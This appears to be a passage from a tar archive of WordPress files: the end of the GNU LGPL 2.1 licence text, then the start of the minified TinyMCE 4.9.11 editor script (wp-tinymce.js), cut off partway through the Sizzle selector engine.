Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the library's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. <signature of Ty Coon>, 1 April 1990 Ty Coon, President of Vice That's all there is to it! tinymce/wp-tinymce.js 0000644 00002437311 15111757755 0010677 0 ustar 00 // Source: wp-includes/js/tinymce/tinymce.min.js // 4.9.11 (2020-07-13) !function(V){"use strict";var o=function(){},H=function(n,r){return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return n(r.apply(null,e))}},q=function(e){return function(){return e}},$=function(e){return e};function d(r){for(var o=[],e=1;e<arguments.length;e++)o[e-1]=arguments[e];return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=o.concat(e);return r.apply(null,n)}}var e,t,n,r,i,a,u,s,c,l,f,m,g,p,h,v,y=function(n){return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return!n.apply(null,e)}},b=q(!1),C=q(!0),x=function(){return w},w=(e=function(e){return e.isNone()},r={fold:function(e,t){return e()},is:b,isSome:b,isNone:C,getOr:n=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:q(null),getOrUndefined:q(undefined),or:n,orThunk:t,map:x,each:o,bind:x,exists:b,forall:C,filter:x,equals:e,equals_:e,toArray:function(){return[]},toString:q("none()")},Object.freeze&&Object.freeze(r),r),N=function(n){var e=q(n),t=function(){return o},r=function(e){return e(n)},o={fold:function(e,t){return t(n)},is:function(e){return n===e},isSome:C,isNone:b,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:t,orThunk:t,map:function(e){return N(e(n))},each:function(e){e(n)},bind:r,exists:r,forall:r,filter:function(e){return e(n)?o:w},toArray:function(){return[n]},toString:function(){return"some("+n+")"},equals:function(e){return e.is(n)},equals_:function(e,t){return e.fold(b,function(e){return t(n,e)})}};return o},_={some:N,none:x,from:function(e){return null===e||e===undefined?w:N(e)}},E=function(t){return function(e){return function(e){if(null===e)return"null";var t=typeof e;return"object"===t&&(Array.prototype.isPrototypeOf(e)||e.constructor&&"Array"===e.constructor.name)?"array":"object"===t&&(String.prototype.isPrototypeOf(e)||e.constructor&&"String"===e.constructor.name)?"string":t}(e)===t}},S=E("string"),T=E("object"),k=E("array"),A=E("null"),R=E("boolean"),D=E("function"),O=E("number"),B=Array.prototype.slice,P=Array.prototype.indexOf,I=Array.prototype.push,L=function(e,t){return P.call(e,t)},F=function(e,t){return-1<L(e,t)},M=function(e,t){for(var n=0,r=e.length;n<r;n++)if(t(e[n],n))return!0;return!1},W=function(e,t){for(var n=e.length,r=new Array(n),o=0;o<n;o++){var i=e[o];r[o]=t(i,o)}return r},z=function(e,t){for(var n=0,r=e.length;n<r;n++)t(e[n],n)},K=function(e,t){for(var n=[],r=[],o=0,i=e.length;o<i;o++){var a=e[o];(t(a,o)?n:r).push(a)}return{pass:n,fail:r}},U=function(e,t){for(var n=[],r=0,o=e.length;r<o;r++){var i=e[r];t(i,r)&&n.push(i)}return n},j=function(e,t,n){return z(e,function(e){n=t(n,e)}),n},X=function(e,t){for(var n=0,r=e.length;n<r;n++){var o=e[n];if(t(o,n))return _.some(o)}return _.none()},Y=function(e,t){for(var n=0,r=e.length;n<r;n++)if(t(e[n],n))return _.some(n);return _.none()},G=function(e,t){return function(e){for(var t=[],n=0,r=e.length;n<r;++n){if(!k(e[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+e);I.apply(t,e[n])}return t}(W(e,t))},J=function(e,t){for(var n=0,r=e.length;n<r;++n)if(!0!==t(e[n],n))return!1;return!0},Q=function(e,t){return U(e,function(e){return!F(t,e)})},Z=function(e){return 0===e.length?_.none():_.some(e[0])},ee=function(e){return 0===e.length?_.none():_.some(e[e.length-1])},te=D(Array.from)?Array.from:function(e){return B.call(e)},ne="undefined"!=typeof V.window?V.window:Function("return this;")(),re=function(e,t){return function(e,t){for(var n=t!==undefined&&null!==t?t:ne,r=0;r<e.length&&n!==undefined&&null!==n;++r)n=n[e[r]];return n}(e.split("."),t)},oe={getOrDie:function(e,t){var n=re(e,t);if(n===undefined||null===n)throw new Error(e+" not available on this browser");return n}},ie=function(){return oe.getOrDie("URL")},ae={createObjectURL:function(e){return ie().createObjectURL(e)},revokeObjectURL:function(e){ie().revokeObjectURL(e)}},ue=V.navigator,se=ue.userAgent,ce=function(e){return"matchMedia"in V.window&&V.matchMedia(e).matches};m=/Android/.test(se),a=(a=!(i=/WebKit/.test(se))&&/MSIE/gi.test(se)&&/Explorer/gi.test(ue.appName))&&/MSIE (\w+)\./.exec(se)[1],u=-1!==se.indexOf("Trident/")&&(-1!==se.indexOf("rv:")||-1!==ue.appName.indexOf("Netscape"))&&11,s=-1!==se.indexOf("Edge/")&&!a&&!u&&12,a=a||u||s,c=!i&&!u&&/Gecko/.test(se),l=-1!==se.indexOf("Mac"),f=/(iPad|iPhone)/.test(se),g="FormData"in V.window&&"FileReader"in V.window&&"URL"in V.window&&!!ae.createObjectURL,p=ce("only screen and (max-device-width: 480px)")&&(m||f),h=ce("only screen and (min-width: 800px)")&&(m||f),v=-1!==se.indexOf("Windows Phone"),s&&(i=!1);var le,fe={opera:!1,webkit:i,ie:a,gecko:c,mac:l,iOS:f,android:m,contentEditable:!f||g||534<=parseInt(se.match(/AppleWebKit\/(\d*)/)[1],10),transparentSrc:"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",caretAfter:8!==a,range:V.window.getSelection&&"Range"in V.window,documentMode:a&&!s?V.document.documentMode||7:10,fileApi:g,ceFalse:!1===a||8<a,cacheSuffix:null,container:null,overrideViewPort:null,experimentalShadowDom:!1,canHaveCSP:!1===a||11<a,desktop:!p&&!h,windowsPhone:v},de=window.Promise?window.Promise:function(){function r(e,t){return function(){e.apply(t,arguments)}}var e=Array.isArray||function(e){return"[object Array]"===Object.prototype.toString.call(e)},i=function(e){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("not a function");this._state=null,this._value=null,this._deferreds=[],l(e,r(o,this),r(u,this))},t=i.immediateFn||"function"==typeof setImmediate&&setImmediate||function(e){setTimeout(e,1)};function a(r){var o=this;null!==this._state?t(function(){var e=o._state?r.onFulfilled:r.onRejected;if(null!==e){var t;try{t=e(o._value)}catch(n){return void r.reject(n)}r.resolve(t)}else(o._state?r.resolve:r.reject)(o._value)}):this._deferreds.push(r)}function o(e){try{if(e===this)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var t=e.then;if("function"==typeof t)return void l(r(t,e),r(o,this),r(u,this))}this._state=!0,this._value=e,s.call(this)}catch(n){u.call(this,n)}}function u(e){this._state=!1,this._value=e,s.call(this)}function s(){for(var e=0,t=this._deferreds.length;e<t;e++)a.call(this,this._deferreds[e]);this._deferreds=null}function c(e,t,n,r){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.resolve=n,this.reject=r}function l(e,t,n){var r=!1;try{e(function(e){r||(r=!0,t(e))},function(e){r||(r=!0,n(e))})}catch(o){if(r)return;r=!0,n(o)}}return i.prototype["catch"]=function(e){return this.then(null,e)},i.prototype.then=function(n,r){var o=this;return new i(function(e,t){a.call(o,new c(n,r,e,t))})},i.all=function(){var s=Array.prototype.slice.call(1===arguments.length&&e(arguments[0])?arguments[0]:arguments);return new i(function(o,i){if(0===s.length)return o([]);var a=s.length;function u(t,e){try{if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if("function"==typeof n)return void n.call(e,function(e){u(t,e)},i)}s[t]=e,0==--a&&o(s)}catch(r){i(r)}}for(var e=0;e<s.length;e++)u(e,s[e])})},i.resolve=function(t){return t&&"object"==typeof t&&t.constructor===i?t:new i(function(e){e(t)})},i.reject=function(n){return new i(function(e,t){t(n)})},i.race=function(o){return new i(function(e,t){for(var n=0,r=o.length;n<r;n++)o[n].then(e,t)})},i}(),me=function(e,t){return"number"!=typeof t&&(t=0),setTimeout(e,t)},ge=function(e,t){return"number"!=typeof t&&(t=1),setInterval(e,t)},pe=function(t,n){var r,e;return(e=function(){var e=arguments;clearTimeout(r),r=me(function(){t.apply(this,e)},n)}).stop=function(){clearTimeout(r)},e},he={requestAnimationFrame:function(e,t){le?le.then(e):le=new de(function(e){t||(t=V.document.body),function(e,t){var n,r=V.window.requestAnimationFrame,o=["ms","moz","webkit"];for(n=0;n<o.length&&!r;n++)r=V.window[o[n]+"RequestAnimationFrame"];r||(r=function(e){V.window.setTimeout(e,0)}),r(e,t)}(e,t)}).then(e)},setTimeout:me,setInterval:ge,setEditorTimeout:function(e,t,n){return me(function(){e.removed||t()},n)},setEditorInterval:function(e,t,n){var r;return r=ge(function(){e.removed?clearInterval(r):t()},n)},debounce:pe,throttle:pe,clearInterval:function(e){return clearInterval(e)},clearTimeout:function(e){return clearTimeout(e)}},ve=/^(?:mouse|contextmenu)|click/,ye={keyLocation:1,layerX:1,layerY:1,returnValue:1,webkitMovementX:1,webkitMovementY:1,keyIdentifier:1},be=function(){return!1},Ce=function(){return!0},xe=function(e,t,n,r){e.addEventListener?e.addEventListener(t,n,r||!1):e.attachEvent&&e.attachEvent("on"+t,n)},we=function(e,t,n,r){e.removeEventListener?e.removeEventListener(t,n,r||!1):e.detachEvent&&e.detachEvent("on"+t,n)},Ne=function(e,t){var n,r,o=t||{};for(n in e)ye[n]||(o[n]=e[n]);if(o.target||(o.target=o.srcElement||V.document),fe.experimentalShadowDom&&(o.target=function(e,t){if(e.composedPath){var n=e.composedPath();if(n&&0<n.length)return n[0]}return t}(e,o.target)),e&&ve.test(e.type)&&e.pageX===undefined&&e.clientX!==undefined){var i=o.target.ownerDocument||V.document,a=i.documentElement,u=i.body;o.pageX=e.clientX+(a&&a.scrollLeft||u&&u.scrollLeft||0)-(a&&a.clientLeft||u&&u.clientLeft||0),o.pageY=e.clientY+(a&&a.scrollTop||u&&u.scrollTop||0)-(a&&a.clientTop||u&&u.clientTop||0)}return o.preventDefault=function(){o.isDefaultPrevented=Ce,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},o.stopPropagation=function(){o.isPropagationStopped=Ce,e&&(e.stopPropagation?e.stopPropagation():e.cancelBubble=!0)},!(o.stopImmediatePropagation=function(){o.isImmediatePropagationStopped=Ce,o.stopPropagation()})==((r=o).isDefaultPrevented===Ce||r.isDefaultPrevented===be)&&(o.isDefaultPrevented=be,o.isPropagationStopped=be,o.isImmediatePropagationStopped=be),"undefined"==typeof o.metaKey&&(o.metaKey=!1),o},Ee=function(e,t,n){var r=e.document,o={type:"ready"};if(n.domLoaded)t(o);else{var i=function(){return"complete"===r.readyState||"interactive"===r.readyState&&r.body},a=function(){n.domLoaded||(n.domLoaded=!0,t(o))},u=function(){i()&&(we(r,"readystatechange",u),a())},s=function(){try{r.documentElement.doScroll("left")}catch(e){return void he.setTimeout(s)}a()};!r.addEventListener||fe.ie&&fe.ie<11?(xe(r,"readystatechange",u),r.documentElement.doScroll&&e.self===e.top&&s()):i()?a():xe(e,"DOMContentLoaded",a),xe(e,"load",a)}},Se=function(){var m,g,p,h,v,y=this,b={};g="mce-data-"+(+new Date).toString(32),h="onmouseenter"in V.document.documentElement,p="onfocusin"in V.document.documentElement,v={mouseenter:"mouseover",mouseleave:"mouseout"},m=1,y.domLoaded=!1,y.events=b;var C=function(e,t){var n,r,o,i,a=b[t];if(n=a&&a[e.type])for(r=0,o=n.length;r<o;r++)if((i=n[r])&&!1===i.func.call(i.scope,e)&&e.preventDefault(),e.isImmediatePropagationStopped())return};y.bind=function(e,t,n,r){var o,i,a,u,s,c,l,f=V.window,d=function(e){C(Ne(e||f.event),o)};if(e&&3!==e.nodeType&&8!==e.nodeType){for(e[g]?o=e[g]:(o=m++,e[g]=o,b[o]={}),r=r||e,a=(t=t.split(" ")).length;a--;)c=d,s=l=!1,"DOMContentLoaded"===(u=t[a])&&(u="ready"),y.domLoaded&&"ready"===u&&"complete"===e.readyState?n.call(r,Ne({type:u})):(h||(s=v[u])&&(c=function(e){var t,n;if(t=e.currentTarget,(n=e.relatedTarget)&&t.contains)n=t.contains(n);else for(;n&&n!==t;)n=n.parentNode;n||((e=Ne(e||f.event)).type="mouseout"===e.type?"mouseleave":"mouseenter",e.target=t,C(e,o))}),p||"focusin"!==u&&"focusout"!==u||(l=!0,s="focusin"===u?"focus":"blur",c=function(e){(e=Ne(e||f.event)).type="focus"===e.type?"focusin":"focusout",C(e,o)}),(i=b[o][u])?"ready"===u&&y.domLoaded?n({type:u}):i.push({func:n,scope:r}):(b[o][u]=i=[{func:n,scope:r}],i.fakeName=s,i.capture=l,i.nativeHandler=c,"ready"===u?Ee(e,c,y):xe(e,s||u,c,l)));return e=i=0,n}},y.unbind=function(e,t,n){var r,o,i,a,u,s;if(!e||3===e.nodeType||8===e.nodeType)return y;if(r=e[g]){if(s=b[r],t){for(i=(t=t.split(" ")).length;i--;)if(o=s[u=t[i]]){if(n)for(a=o.length;a--;)if(o[a].func===n){var c=o.nativeHandler,l=o.fakeName,f=o.capture;(o=o.slice(0,a).concat(o.slice(a+1))).nativeHandler=c,o.fakeName=l,o.capture=f,s[u]=o}n&&0!==o.length||(delete s[u],we(e,o.fakeName||u,o.nativeHandler,o.capture))}}else{for(u in s)o=s[u],we(e,o.fakeName||u,o.nativeHandler,o.capture);s={}}for(u in s)return y;delete b[r];try{delete e[g]}catch(d){e[g]=null}}return y},y.fire=function(e,t,n){var r;if(!e||3===e.nodeType||8===e.nodeType)return y;for((n=Ne(null,n)).type=t,n.target=e;(r=e[g])&&C(n,r),(e=e.parentNode||e.ownerDocument||e.defaultView||e.parentWindow)&&!n.isPropagationStopped(););return y},y.clean=function(e){var t,n,r=y.unbind;if(!e||3===e.nodeType||8===e.nodeType)return y;if(e[g]&&r(e),e.getElementsByTagName||(e=e.document),e&&e.getElementsByTagName)for(r(e),t=(n=e.getElementsByTagName("*")).length;t--;)(e=n[t])[g]&&r(e);return y},y.destroy=function(){b={}},y.cancel=function(e){return e&&(e.preventDefault(),e.stopImmediatePropagation()),!1}};Se.Event=new Se,Se.Event.bind(V.window,"ready",function(){});var Te,ke,_e,Ae,Re,De,Oe,Be,Pe,Ie,Le,Fe,Me,ze,Ue,je,Ve,He,qe="sizzle"+-new Date,$e=V.window.document,We=0,Ke=0,Xe=Tt(),Ye=Tt(),Ge=Tt(),Je=function(e,t){return e===t&&(Le=!0),0},Qe=typeof undefined,Ze={}.hasOwnProperty,et=[],tt=et.pop,nt=et.push,rt=et.push,ot=et.slice,it=et.indexOf||function(e){for(var t=0,n=this.length;t<n;t++)if(this[t]===e)return t;return-1},at="[\\x20\\t\\r\\n\\f]",ut="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",st="\\["+at+"*("+ut+")(?:"+at+"*([*^$|!~]?=)"+at+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+ut+"))|)"+at+"*\\]",ct=":("+ut+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+st+")*)|.*)\\)|)",lt=new RegExp("^"+at+"+|((?:^|[^\\\\])(?:\\\\.)*)"+at+"+$","g"),ft=new RegExp("^"+at+"*,"+at+"*"),dt=new RegExp("^"+at+"*([>+~]|"+at+")"+at+"*"),mt=new RegExp("="+at+"*([^\\]'\"]*?)"+at+"*\\]","g"),gt=new RegExp(ct),pt=new RegExp("^"+ut+"$"),ht={ID:new RegExp("^#("+ut+")"),CLASS:new RegExp("^\\.("+ut+")"),TAG:new RegExp("^("+ut+"|[*])"),ATTR:new RegExp("^"+st),PSEUDO:new RegExp("^"+ct),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+at+"*(even|odd|(([+-]|)(\\d*)n|)"+at+"*(?:([+-]|)"+at+"*(\\d+)|))"+at+"*\\)|)","i"),bool:new RegExp("^(?:checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped)$","i"),needsContext:new RegExp("^"+at+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+at+"*((?:-\\d)?\\d*)"+at+"*\\)|)(?=[^-]|$)","i")},vt=/^(?:input|select|textarea|button)$/i,yt=/^h\d$/i,bt=/^[^{]+\{\s*\[native \w/,Ct=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,xt=/[+~]/,wt=/'|\\/g,Nt=new RegExp("\\\\([\\da-f]{1,6}"+at+"?|("+at+")|.)","ig"),Et=function(e,t,n){var r="0x"+t-65536;return r!=r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)};try{rt.apply(et=ot.call($e.childNodes),$e.childNodes),et[$e.childNodes.length].nodeType}catch(iE){rt={apply:et.length?function(e,t){nt.apply(e,ot.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}var St=function(e,t,n,r){var o,i,a,u,s,c,l,f,d,m;if((t?t.ownerDocument||t:$e)!==Me&&Fe(t),n=n||[],!e||"string"!=typeof e)return n;if(1!==(u=(t=t||Me).nodeType)&&9!==u)return[];if(Ue&&!r){if(o=Ct.exec(e))if(a=o[1]){if(9===u){if(!(i=t.getElementById(a))||!i.parentNode)return n;if(i.id===a)return n.push(i),n}else if(t.ownerDocument&&(i=t.ownerDocument.getElementById(a))&&He(t,i)&&i.id===a)return n.push(i),n}else{if(o[2])return rt.apply(n,t.getElementsByTagName(e)),n;if((a=o[3])&&ke.getElementsByClassName)return rt.apply(n,t.getElementsByClassName(a)),n}if(ke.qsa&&(!je||!je.test(e))){if(f=l=qe,d=t,m=9===u&&e,1===u&&"object"!==t.nodeName.toLowerCase()){for(c=De(e),(l=t.getAttribute("id"))?f=l.replace(wt,"\\$&"):t.setAttribute("id",f),f="[id='"+f+"'] ",s=c.length;s--;)c[s]=f+Pt(c[s]);d=xt.test(e)&&Ot(t.parentNode)||t,m=c.join(",")}if(m)try{return rt.apply(n,d.querySelectorAll(m)),n}catch(g){}finally{l||t.removeAttribute("id")}}}return Be(e.replace(lt,"$1"),t,n,r)};function Tt(){var r=[];return function e(t,n){return r.push(t+" ")>_e.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function kt(e){return e[qe]=!0,e}function _t(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||1<<31)-(~e.sourceIndex||1<<31);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function At(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function Rt(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function Dt(a){return kt(function(i){return i=+i,kt(function(e,t){for(var n,r=a([],e.length,i),o=r.length;o--;)e[n=r[o]]&&(e[n]=!(t[n]=e[n]))})})}function Ot(e){return e&&typeof e.getElementsByTagName!==Qe&&e}for(Te in ke=St.support={},Re=St.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},Fe=St.setDocument=function(e){var t,s=e?e.ownerDocument||e:$e,n=s.defaultView;return s!==Me&&9===s.nodeType&&s.documentElement?(ze=(Me=s).documentElement,Ue=!Re(s),n&&n!==function(e){try{return e.top}catch(t){}return null}(n)&&(n.addEventListener?n.addEventListener("unload",function(){Fe()},!1):n.attachEvent&&n.attachEvent("onunload",function(){Fe()})),ke.attributes=!0,ke.getElementsByTagName=!0,ke.getElementsByClassName=bt.test(s.getElementsByClassName),ke.getById=!0,_e.find.ID=function(e,t){if(typeof t.getElementById!==Qe&&Ue){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},_e.filter.ID=function(e){var t=e.replace(Nt,Et);return function(e){return e.getAttribute("id")===t}},_e.find.TAG=ke.getElementsByTagName?function(e,t){if(typeof t.getElementsByTagName!==Qe)return t.getElementsByTagName(e)}:function(e,t){var n,r=[],o=0,i=t.getElementsByTagName(e);if("*"===e){for(;n=i[o++];)1===n.nodeType&&r.push(n);return r}return i},_e.find.CLASS=ke.getElementsByClassName&&function(e,t){if(Ue)return t.getElementsByClassName(e)},Ve=[],je=[],ke.disconnectedMatch=!0,je=je.length&&new RegExp(je.join("|")),Ve=Ve.length&&new RegExp(Ve.join("|")),t=bt.test(ze.compareDocumentPosition),He=t||bt.test(ze.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},Je=t?function(e,t){if(e===t)return Le=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!ke.sortDetached&&t.compareDocumentPosition(e)===n?e===s||e.ownerDocument===$e&&He($e,e)?-1:t===s||t.ownerDocument===$e&&He($e,t)?1:Ie?it.call(Ie,e)-it.call(Ie,t):0:4&n?-1:1)}:function(e,t){if(e===t)return Le=!0,0;var n,r=0,o=e.parentNode,i=t.parentNode,a=[e],u=[t];if(!o||!i)return e===s?-1:t===s?1:o?-1:i?1:Ie?it.call(Ie,e)-it.call(Ie,t):0;if(o===i)return _t(e,t);for(n=e;n=n.parentNode;)a.unshift(n);for(n=t;n=n.parentNode;)u.unshift(n);for(;a[r]===u[r];)r++;return r?_t(a[r],u[r]):a[r]===$e?-1:u[r]===$e?1:0},s):Me},St.matches=function(e,t){return St(e,null,null,t)},St.matchesSelector=function(e,t){if((e.ownerDocument||e)!==Me&&Fe(e),t=t.replace(mt,"='$1']"),ke.matchesSelector&&Ue&&(!Ve||!Ve.test(t))&&(!je||!je.test(t)))try{var n=(void 0).call(e,t);if(n||ke.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(iE){}return 0<St(t,Me,null,[e]).length},St.contains=function(e,t){return(e.ownerDocument||e)!==Me&&Fe(e),He(e,t)},St.attr=function(e,t){(e.ownerDocument||e)!==Me&&Fe(e);var 